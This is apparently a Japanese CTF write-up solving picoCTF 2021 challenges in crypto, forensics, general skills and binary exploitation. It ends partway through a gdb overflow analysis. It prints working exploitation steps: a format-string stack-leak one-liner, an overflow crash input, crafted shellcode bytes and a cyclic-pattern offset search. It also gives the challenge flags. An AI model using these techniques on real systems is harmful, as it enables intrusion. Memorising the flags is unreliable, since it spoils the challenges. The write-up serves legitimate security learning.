100001 000000 000000 000000 100001 100001 000000 100001 100001 100001 000000 100001 100001 000000 100001 100001 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 100001 000000 100001 000000 100001 000000 000000 100001 000000 000000 100001 100001 100001 100001 000000 100001 100001 100001 100001 000000 100001 000000 000000 000000 000000 000000 100001 000000

1行ずつ眺めていると、各行に2 パターンしかないことが分かる。
(1行目の場合、100001110011

それぞれに 0 もしくは 1 を割り当てて、2進数として読み取り、文字列に変換するとフラグになった。

import string

with open('input.txt') as f:
    lines = f.readlines()

for line in lines:
    zero, one = sorted(set(line.split()))
    s = line.replace(zero, '0').replace(one, '1').replace(' ', '').strip()

    result = ''
    for i in range(0, len(s), 8):
        result += chr(int(s[i:i+8], 2))
    
    if all([c in string.printable for c in result]):
        print(result)
$ python3 ./replace_01.py
picoCTF{2018highw@y_2_pow3r$hel!}
picoCTF{2018highw@y_2_pow3r"hel!}
picoCTF{2018highw@y_2_pow3r$hel!}
picoCTF{2018highw@y_2_pow3r$hel!}

picoCTF{2018highw@y_2_pow3r$hel!}

Rolling My Own - 300 points

I don't trust password checkers made by other people, so I wrote my own. It doesn't even need to store the password! If you can crack it I'll give you a flag. remote nc mercury.picoctf.net 17615

remote を実行すると、以下のようなエラーが出る場合がある。

$ ./remote 
./remote: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory

libcrypto.so.1.1 が足りないようなので、ダウンロードしてきてビルドする。

$ wget https://www.openssl.org/source/old/1.1.0/openssl-1.1.0l.tar.gz
$ tar xvf openssl-1.1.0l.tar.gz
$ cd openssl-1.1.0l
$ ./config
$ make

LD_LIBRARY_PATH に追記すると、実行できるようなる。

$ export LD_LIBRARY_PATH=./openssl-1.1.0l:$LD_LIBRARY_PATH
$ ./remote 
Password: 

実行できるようになったので gdbデバッグしながら処理を確認すると、以下のようになっていた。

Password に abcdefghijklmnop と入力された場合、以下のように4文字ずつ分割し、それぞれに8文字の salt が追記される。

  • abcdGpLaMjEW
  • efghpVOjnnmk
  • ijklRGiledp6
  • mnopMvcezxls

次に それぞれのMD5 ハッシュ値を求め、特定の位置の4バイトを抽出する。

  • 80d218041c09fb220678d00421adc0f3 -> 0678d004(offset: 8)
  • 294a4535c9c11c6fcc63aa80ba932e68 -> 4535c9c1(offset: 2)
  • 46b4be289b403a62cf6b58e2de420aaa -> 62cf6b58(offset: 7)
  • 02f5c347b5257bf71cf3625fd5b4d6d7 -> f5c347b5(offset: 1)

抽出した 16 バイトを実行権限のあるメモリに展開し、命令として実行する。 実行された命令が正しければ、フラグ表示用の関数が呼び出され、フラグが表示される。

フラグを表示させるためには、以下の条件を満たす必要がある。

  1. Hints より、 Password の初めの4文字は、D1v1 である。
  2. 実行時の rdi レジスタには、フラグ表示用の関数のアドレスが格納されている。
  3. フラグを表示させるためには、第1引数に 0x7b3dc26f1 を設定する必要がある。
  4. 16バイト以内に命令を収める必要がある。

以上、上記を満たす命令は、以下の2つのいずれかになる。

        .intel_syntax noprefix
        .globl _start
_start:
        mov rsi, rdi
        mov rdi, 0x7b3dc26f1
        call rsi
$ gcc -nostdlib call_func1.S
$ objdump -M intel -d a.out 

a.out:     file format elf64-x86-64


Disassembly of section .text:

00000000004000d4 <_start>:
  4000d4:       48 89 fe                mov    rsi,rdi
  4000d7:       48 bf f1 26 dc b3 07    movabs rdi,0x7b3dc26f1
  4000de:       00 00 00 
  4000e1:       ff d6                   call   rsi

もしくは

        .intel_syntax noprefix
        .globl _start
_start:
        mov rsi, rdi
        mov rdi, 0x7b3dc26f1
        nop
        call rsi
$ gcc -nostdlib call_func.S
$ objdump -M intel -d a.out 

a.out:     file format elf64-x86-64


Disassembly of section .text:

00000000004000d4 <_start>:
  4000d4:       48 89 fe                mov    rsi,rdi
  4000d7:       48 bf f1 26 dc b3 07    movabs rdi,0x7b3dc26f1
  4000de:       00 00 00 
  4000e1:       90                      nop
  4000e2:       ff d6                   call   rsi

ここまで判明したので、後は上記のバイト列になるパスワードを総当たりで探索すればよい。

import string
import itertools
import hashlib

salts = [
    'GpLaMjEW',
    'pVOjnnmk',
    'RGiledp6',
    'Mvcezxls',
]

offsets = [8, 2, 7, 1]

target_bytes = [
    '4889fe48',
    'bff126dc',
    'b3070000',
    '00ffd6'
]

chars = string.ascii_letters + string.digits

result = ''
for i in range(4):
    offset = offsets[i] * 2
    size = len(target_bytes[i])

    for ch in itertools.product(chars, repeat=4):
        password = ''.join(ch)
        digest = hashlib.md5((password + salts[i]).encode()).hexdigest()

        if digest[offset:offset + size] == target_bytes[i]:
            print(password + salts[i], digest, digest[offset:offset + size])
            break
    
    result += password

print('Password:', result)
$ python3 solve.py 
D1v1GpLaMjEW 23f144e08b603e724889fe489f78fa53 4889fe48
d3AnpVOjnnmk 97c5bff126dca58703d2ac303dd9053d bff126dc
dC0nRGiledp6 a8cd3acafc8c25b3070000dd18450048 b3070000
qu3rMvcezxls cc00ffd6c3c4d4d271b26c64a7a7107b 00ffd6
Password: D1v1d3AndC0nqu3r

総当たりで判明したパスワードを入力すると、フラグが表示された。

$ nc mercury.picoctf.net 17615
Password: D1v1d3AndC0nqu3r
picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}

picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}

Forensics(11問)

information - 10 points

Files can always be changed in a secret way. Can you find the flag? cat.jpg

cat.jpg の文字列を列挙して、Base64デコードするとフラグが表示された。

$ strings cat.jpg | grep -oE "[a-zA-Z0-9+/]{5,}=?=?" | while read line; do echo $line | base64 -d 2>/dev/null; done | strings | grep pico
picoCTF{the_m3tadata_1s_modified}

picoCTF{the_m3tadata_1s_modified}

Weird File - 20 points

What could go wrong if we let Word documents run programs? (aka "in-the-clear"). Download file.

olevba でマクロを抽出すると、以下のような処理が確認できる。

PS > olevba .\weird.docm
' snip

Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus)

' snip

Base64 デコードすると、フラグが表示された。

$ echo cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9 | base64 -d
picoCTF{m4cr0s_r_d4ng3r0us}

picoCTF{m4cr0s_r_d4ng3r0us}

Matryoshka doll - 30 points

Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another. What's the final one? Image: this

dolls.jpg を「うさみみハリケーン」の「青い空を見上げればいつもそこに白い猫」に読み込ませる。 「ファイル・データ抽出」をすると、zip ファイルが抽出される。

f:id:tsalvia:20210401082803p:plain

zip ファイルを展開すると、また jpg ファイルが入っている。 同じ手順を4回ぐらい繰り返すと、フラグの書かれたファイルが出てきた。

picoCTF{e3f378fe6c1ea7f6bc5ac2c3d6801c1f}

tunn3l v1s10n - 40 points

We found this file. Recover the flag.

f:id:tsalvia:20210401083321p:plain

BM から始まっているので、BMPファイルだと推測できる。 ただし、拡張子を変更しても画像として開けないことから、ヘッダが壊れていると思われる。

ImageMagic で変換すると修正できる場合があるので、変換してみると画像を開くことができた。

$ convert tunn3l_v1s10n output.bmp

f:id:tsalvia:20210401084329j:plain

画像は、横長で notaflag{sorry} と書かれている。また、ファイルサイズが元データよりかなり少なくなっている。 よって、BMP ヘッダの画像サイズに関する値が書き換わっている可能性がある。

ヘッダ構成を調べるのが面倒だったので、010 Editor に元のファイルを読み込ませて、BMPのテンプレートを適用させて値を書き換えた。

biHeight を 306 から 834 に書き換えて、再度 convert するとフラグが表示された。

f:id:tsalvia:20210401085311p:plain

f:id:tsalvia:20210329002422j:plain

picoCTF{qu1t3_a_v13w_2020}

Wireshark doo dooo do doo... - 50 points

Can you find the flag? shark1.pcapng.

pcapng から pcap に変換して、NetworkMiner に読み込ませると、5つのファイルが見つかる。

f:id:tsalvia:20210401090855p:plain

index.html を開いてみると、以下のように書かれていた。

Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}

CyberChef の ROT13 で変換すると、フラグが表示された。

picoCTF{p33kab00_1_s33_u_deadbeef}

MacroHard WeakEdge - 60 points

I've hidden a flag in this file. Can you find it? Forensics is fun.pptm

Forensics is fun.pptm を zip で展開すると、 Forensics is fun\ppt\slideMasters\hidden という隠しファイルが含まれていた。 ファイルを開くと、以下のようになっていた。

PS > type '.\Forensics is fun\ppt\slideMasters\hidden'
Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q

CyberChef でスペースを切り詰めて、Base64 デコードすると、フラグが表示された。

picoCTF{D1d_u_kn0w_ppts_r_z1p5}

Trivial Flag Transfer Protocol - 90 points

Figure out how they moved the flag.

pcap に変換して、NetworkMiner に読み込ませると、6つのファイルを抽出することができる。

f:id:tsalvia:20210401091556p:plain

deb ファイルを展開して、中身を確認すると steghide だと判明した。

$ ar vx program.deb
x - debian-binary
x - control.tar.gz
x - data.tar.xz
$ tar xvf data.tar.xz
./
./usr/
./usr/share/
./usr/share/doc/
./usr/share/doc/steghide/

<snip>

./usr/bin/
./usr/bin/steghide

次に plan というテキストファイルを開くと、以下のように書かれている。

VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF

CyberChef の ROT13 で変換すると、以下のようになる。

IUSEDTHEPROGRAMANDHIDITWITH-DUEDILIGENCE.CHECKOUTTHEPHOTOS

DUEDILIGENCE を passphrase として picture3.bmp からファイルを抽出すると、flag.txt が出力された。 flag.txt の中身を確認すると、フラグが書かれていた。

$ steghide extract -sf picture3.bmp -p DUEDILIGENCE
wrote extracted data to "flag.txt".
$ cat flag.txt
picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}

picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}

Wireshark twoo twooo two twoo... - 100 points

Can you find the flag? shark2.pcapng.

DNS について確認すると、サブドメインのみを切り替えながら何度も問い合わせているのが分かる。

f:id:tsalvia:20210401094839p:plain

8.8.8.8 以外のサーバ(18.217.1.57)が指定されている問い合わせが怪しいので、18.217.1.57 のみ表示されるようにフィルタリングする。amazonaws.comwindomain.local も邪魔なので除外しておく。

dns and ip.dst == 18.217.1.57 and !(dns.qry.name contains "amazonaws.com") and !(dns.qry.name contains "windomain.local")

f:id:tsalvia:20210401095610p:plain

18.217.1.57 に送られている DNS Query のサブドメインのみを並べ、 CyberChef の From Base64 でデコードすると、フラグが表示された。

picoCTF{dns_3xf1l_ftw_deadbeef}

Disk, disk, sleuth! - 110 points

Use srch_strings from the sleuthkit and some terminal-fu to find a flag in this disk image: dds1-alpine.flag.img.gz

ファイルを展開して、strings するとフラグが表示された。

$ gunzip -d dds1-alpine.flag.img.gz
$ strings dds1-alpine.flag.img | grep pico
ffffffff81399ccf t pirq_pico_get
ffffffff81399cee t pirq_pico_set
ffffffff820adb46 t pico_router_probe
  SAY picoCTF{f0r3ns1c4t0r_n30phyt3_ad5c96c0}

picoCTF{f0r3ns1c4t0r_n30phyt3_ad5c96c0}

Disk, disk, sleuth! II - 130 points

All we know is the file with the flag is named down-at-the-bottom.txt... Disk image: dds2-alpine.flag.img.gz

Autopsy に読み込ませ、キーワード検索で down-at-the-bottom.txt と検索すると、該当のファイルが見つかる。

   _     _     _     _     _     _     _     _     _     _     _     _     _  
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \ 
 ( p ) ( i ) ( c ) ( o ) ( C ) ( T ) ( F ) ( { ) ( f ) ( 0 ) ( r ) ( 3 ) ( n )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/ 
   _     _     _     _     _     _     _     _     _     _     _     _     _  
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \ 
 ( s ) ( 1 ) ( c ) ( 4 ) ( t ) ( 0 ) ( r ) ( _ ) ( n ) ( 0 ) ( v ) ( 1 ) ( c )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/ 
   _     _     _     _     _     _     _     _     _     _     _  
  / \   / \   / \   / \   / \   / \   / \   / \   / \   / \   / \ 
 ( 3 ) ( _ ) ( 6 ) ( 9 ) ( a ) ( b ) ( 1 ) ( d ) ( c ) ( 8 ) ( } )
  \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/   \_/ 

picoCTF{f0r3ns1c4t0r_n0v1c3_69ab1dc8}

Milkslap - 200 points

🥛

Chrome DevTools の Network を開きながら、http://mercury.picoctf.net:7585/ にアクセスすると、画像ファイルがダウンロードされていることが分かる。

f:id:tsalvia:20210401100657p:plain

フォレンジック問題なので、画像をダウンロードして zsteg に読み込ませるとフラグが表示された。

$ wget http://mercury.picoctf.net:7585/concat_v.png
$ zsteg concat_v.png
imagedata           .. file: FoxPro FPT, blocks size 65280, next free block index 30592456
b1,b,lsb,xy         .. text: "picoCTF{imag3_m4n1pul4t10n_sl4p5}\n"
b1,bgr,lsb,xy       .. <wbStego size=9706075, data="\xB6\xAD\xB6}\xDB\xB2lR\x7F\xDF\x86\xB7c\xFC\xFF\xBF\x02Zr\x8E\xE2Z\x12\xD8q\xE5&MJ-X:\xB5\xBF\xF7\x7F\xDB\xDFI\bm\xDB\xDB\x80m\x00\x00\x00\xB6m\xDB\xDB\xB6\x00\x00\x00\xB6\xB6\x00m\xDB\x12\x12m\xDB\xDB\x00\x00\x00\x00\x00\xB6m\xDB\x00\xB6\x00\x00\x00\xDB\xB6mm\xDB\xB6\xB6\x00\x00\x00\x00\x00m\xDB", even=true, mix=true, controlbyte="[">
b2,r,lsb,xy         .. file: SoftQuad DESC or font file binary
b2,r,msb,xy         .. file: VISX image file
b2,g,lsb,xy         .. file: VISX image file
b2,g,msb,xy         .. file: SoftQuad DESC or font file binary - version 15722
b2,b,msb,xy         .. text: "UfUUUU@UUU"
b4,r,lsb,xy         .. text: "\"\"\"\"\"#4D"
b4,r,msb,xy         .. text: "wwww3333"
b4,g,lsb,xy         .. text: "wewwwwvUS"
b4,g,msb,xy         .. text: "\"\"\"\"DDDD"
b4,b,lsb,xy         .. text: "vdUeVwweDFw"
b4,b,msb,xy         .. text: "UUYYUUUUUUUU"

picoCTF{imag3_m4n1pul4t10n_sl4p5}

General Skills(7問)

Obedient Cat - 5 points

This file has a flag in plain sight (aka "in-the-clear"). Download flag.

ダウンロードして、cat で表示するだけ

$ cat flag
picoCTF{s4n1ty_v3r1f13d_b5aeb3dd}

picoCTF{s4n1ty_v3r1f13d_b5aeb3dd}

Python Wrangling - 10 points

Python scripts are invoked kind of like programs in the Terminal... Can you run this Python script using this password to get the flag?

ende.py、flag.txt.en、pw.txt をダウンロードして、ende.py を実行する。 ende.py の出力にしたがって、以下のように入力すると、フラグが表示される。

$ python3 ende.py 
Usage: ende.py (-e/-d) [file]
$ python3 ende.py -d flag.txt.en
Please enter the password:aa821c16aa821c16aa821c16aa821c16
picoCTF{4p0110_1n_7h3_h0us3_aa821c16}

picoCTF{4p0110_1n_7h3_h0us3_aa821c16}

Wave a flag - 10 points

Can you invoke help flags for a tool or binary? This program has extraordinarily helpful information...

warm をダウンロードして実行する。 warm の出力にしたがって、以下のように入力すると、フラグが表示される。

$ ./warm
Hello user! Pass me a -h to learn what I can do!
$ ./warm -h
Oh, help? I actually don't do much, but I do have this flag here: picoCTF{b1scu1ts_4nd_gr4vy_755f3544}

picoCTF{b1scu1ts_4nd_gr4vy_755f3544}

Nice netcat... - 15 points

There is a nice program that you can talk to by using this command in a shell: $ nc mercury.picoctf.net 43239, but it doesn't speak English...

nc mercury.picoctf.net 43239 に接続すると、10進数と思われる数値がいくつか表示される。 CyberChef の From Decimal で変換すると、フラグが表示される。

picoCTF{g00d_k1tty!_n1c3_k1tty!_7c0821f5}

Static ain't always noise - 20 points

Can you look at the data in this binary: static? This BASH script might help!

static、ltdis.sh をダウンロードする。This BASH script might help と書いてあるので、以下のように実行してみる。

$ ./ltdis.sh  static 
Attempting disassembly of static ...
Disassembly successful! Available at: static.ltdis.x86_64.txt
Ripping strings from binary with file offsets...
Any strings found in static have been written to static.ltdis.strings.txt with file offset

static.ltdis.strings.txt と static.ltdis.x86_64.txt の2つのファイルが生成される。 grep してみると、フラグが見つかった。

$ cat static.ltdis.strings.txt | grep pico
   1020 picoCTF{d15a5m_t34s3r_1e6a7731}

picoCTF{d15a5m_t34s3r_1e6a7731}

Tab, Tab, Attack - 20 points

Using tabcomplete in the Terminal will add years to your life, esp. when dealing with long rambling directory structures and filenames: Addadshashanammu.zip

Addadshashanammu.zip をダウンロードして、unzip すると、深い階層に fang-of-haynekhtnamet という ELFファイルがある。 これを実行すると、フラグが表示された。

$ cd ./Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku
$ ./fang-of-haynekhtnamet
*ZAP!* picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}

picoCTF{l3v3l_up!_t4k3_4_r35t!_524e3dc4}

Magikarp Ground Mission - 30 points

Do you know how to move between directories and read files in the shell? Start the container, ssh to it, and then ls once connected to begin. Login via ssh as ctf-player with the password, 6d448c9c

問題説明欄の横の Lunch Instance でインスタンスを起動する。 SSH の接続先情報が出てくるので、ssh でアクセスする。

問題に書かれている通り、ls すると、フラグの一部と次の命令が書かれたファイルが見つかる。 同じように指示にしたがいながら、コマンドを実行すると、すべてのフラグが見つかる。

$ ls
1of3.flag.txt  instructions-to-2of3.txt
$ cat 1of3.flag.txt instructions-to-2of3.txt
picoCTF{xxsh_
Next, go to the root of all things, more succinctly `/`

$ cd /
$ ls
2of3.flag.txt  boot  etc   instructions-to-3of3.txt  lib64  mnt  proc  run   srv  tmp  var
bin            dev   home  lib                       media  opt  root  sbin  sys  usr
$ cat 2of3.flag.txt instructions-to-3of3.txt
0ut_0f_\/\/4t3r_
Lastly, ctf-player, go home... more succinctly `~`

$ cd ~
$ ls
3of3.flag.txt  drop-in
$ cat 3of3.flag.txt
5190b070}

picoCTF{xxsh_0ut_0f_\/\/4t3r_5190b070}

Binary Exploitation(6問)

Binary Gauntlet 0 - 10 points

This series of problems has to do with binary protections and how they affect exploiting a very simple program. How far can you make it in the gauntlet? gauntlet nc mercury.picoctf.net 12294

Ghidra でデコンパイルして処理を確認すると、SIGSEGV が発生したときにフラグを表示するという処理が書かれていた。

f:id:tsalvia:20210403194726p:plain

バッファサイズが 1000 バイトで用意されているので、適当な値を 2000 バイトぐらい与えると、SIGSEGV が起きる。

$ echo "picoCTF{TEST_FLAG}" > flag.txt
$ python3 -c "print('\r' * 2000)" | ./gauntlet
picoCTF{TEST_FLAG}

リモートでも同様に実行すると、フラグが表示される。

$ python3 -c "print('\r' * 2000)" | nc mercury.picoctf.net 12294
fbd01d62c0e369e6de3d63b4b21d3830

fbd01d62c0e369e6de3d63b4b21d3830

Stonks - 20 points

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c nc mercury.picoctf.net 53437

%p を入力すると、スタックが表示されたので、Format String Bug がある。

$ python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
Buying stonks with token:
0x9704410.0x804b000.0x80489c3.0xf7f4ad80.0xffffffff.0x1.0x9702160.0xf7f58110.0xf7f4adc7.(nil).0x9703180.0x2.0x97043f0.0x9704410.0x6f636970.0x7b465443.0x306c5f49.0x345f7435.0x6d5f6c6c.0x306d5f79.0x5f79336e.0x34636462.0x61653532.0xff9a007d.0xf7f85af8.0xf7f58440.0x49625900.0x1.(nil).0xf7de7be9.0xf7f590c0.0xf7f4a5c0.0xf7f4a000.0xff9a6c48.0xf7dd858d.0xf7f4a5c0.0x8048eca.0xff9a6c54.(nil).0xf7f6cf09.0x804b000.0xf7f4a000.0xf7f4ae20.0xff9a6c88.0xf7f72d50.0xf7f4b890.0x49625900.0xf7f4a000.0x804b000.0xff9a6c88.
Portfolio as of Mon Apr  5 01:20:56 UTC 2021


2 shares of DSCV
2 shares of RSJR
11 shares of LDZB
12 shares of L
4 shares of L
24 shares of PEI
771 shares of TRAS
190 shares of YSZ
343 shares of GGP
Goodbye!

文字列に変換すると、フラグっぽい文字列が確認できる。

$ python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 | tr "." "\n" | xxd -r -p | strings -n1
=
K
H
0
@
;
=
ocip{FTC0l_I4_t5m_ll0m_y_y3n4cdbae52
}
@
8
H
D

K
 
x
mP
K
x
 FR

トルエンディアンで文字列が反転しているので、適当に修正するとフラグになった。

python3 -c 'print("1\n" + "%p." * 50)' | nc mercury.picoctf.net 53437 | tr "." "\n" | while read line; do echo $line | xxd -r -p | strings -n1 | rev; done | tr -d "\n" | grep -oE "picoCTF{.*}"
picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}

picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}

Binary Gauntlet 1 - 30 points

Okay, time for a challenge. gauntlet nc mercury.picoctf.net 19968

strcpy のところで Buffer Overflow するので、そこを利用して Shellcode を実行する。
まずは、pattc と patto でオーバーフローする箇所の offset を求める。

$ gdb -q ./gauntlet
gdb-peda$ pattc 1000
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
gdb-peda$ run 
Starting program: /root/workdir/gauntlet 
0x7fffffffe1b0
A
A
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7ab09c0 (<__strcpy_sse2_unaligned+976>:     mov    rdx,QWORD PTR [rsi])
RDX: 0x24415a24417724 ('$wA$ZA$')
RSI: 0x6023f0 --> 0x24415a24417724 ('$wA$ZA$')
RDI: 0x7fffffffe590 --> 0x24415a24417724 ('$wA$ZA$')
RBP: 0x41414e4141384141 ('AA8AANAA')
RSP: 0x7fffffffe228 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
RIP: 0x40074e (<main+199>:      ret)
R8 : 0x24415a2441772441 ('A$wA$ZA$')
R9 : 0x2441702441532441 ('A$SA$pA$')
R10: 0x7fffffffdf60 --> 0x0 
R11: 0x7ffff7b8cfe0 --> 0xfff23980fff23970 
R12: 0x4005a0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe300 ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPA"...)
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400743 <main+188>: call   0x400550 <strcpy@plt>
   0x400748 <main+193>: mov    eax,0x0
   0x40074d <main+198>: leave  
=> 0x40074e <main+199>: ret    
   0x40074f:    nop
   0x400750 <__libc_csu_init>:  push   r15
   0x400752 <__libc_csu_init+2>:        push   r14
   0x400754 <__libc_csu_init+4>:        mov    r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe228 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0008| 0x7fffffffe230 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0016| 0x7fffffffe238 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0024| 0x7fffffffe240 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0032| 0x7fffffffe248 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
